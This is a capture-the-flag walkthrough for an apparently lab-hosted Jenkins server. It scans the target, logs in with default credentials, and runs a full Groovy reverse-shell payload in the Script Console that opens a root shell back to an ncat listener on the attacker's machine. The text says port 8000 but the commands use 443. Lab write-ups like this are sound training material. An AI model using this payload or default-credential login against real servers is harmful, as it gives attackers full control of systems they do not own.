Port scan first, exchange ip with your machines IP address.
sudo nmap -sV ip
Relevant output:
PORT STATE SERVICE VERSION 8080/tcp open http Jetty 9.4.39.v20210325
Let's paste the IP address with port 8080 into our browser:
http://ip:8080
Since Jenkins is running on this system, we search for default credentials on Google. Working credentials are
Username: root Password: password
After researching if there are any known CVE's for this version of Jenkins, we know that there are none. Though we also found a GitHub repository (link below) for Jenkins pentesting. We will try to run Groovy script code in the Jenkins Script Console. On the website, navigate to "Manage Jenkins" and then scroll down to "Script Console". Our goal is to receive a reverse shell connection from the target server. For this we need to exploit a remote command execution vulnerability first. And our attack surface for this is the Groovy Script Console.
From the below linked GitHub repository (swisskyrepo) we get the following payload, where we just need to insert the IP address of our local attack machine. Get your IP by:
ifconfig tun0
It is the inet one. Insert it into this script (first line):
String host="ip";
int port=443;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port); InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
But before we paste and run this in the Script Console, we need to fire up Ncat on port 8000 on our local machine:
ncat -lvnp 443
Expected output:
Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443
Now, run code from above in the Script Console and watch the Ncat console window.
Output:
Ncat: Connection from 10.129.142.187. Ncat: Connection from 10.129.142.187:39832.
Running the command within the Netcat window:
whoami
Outputs
root
So we run this two commands to output the flag!
cd /root cat flag.txt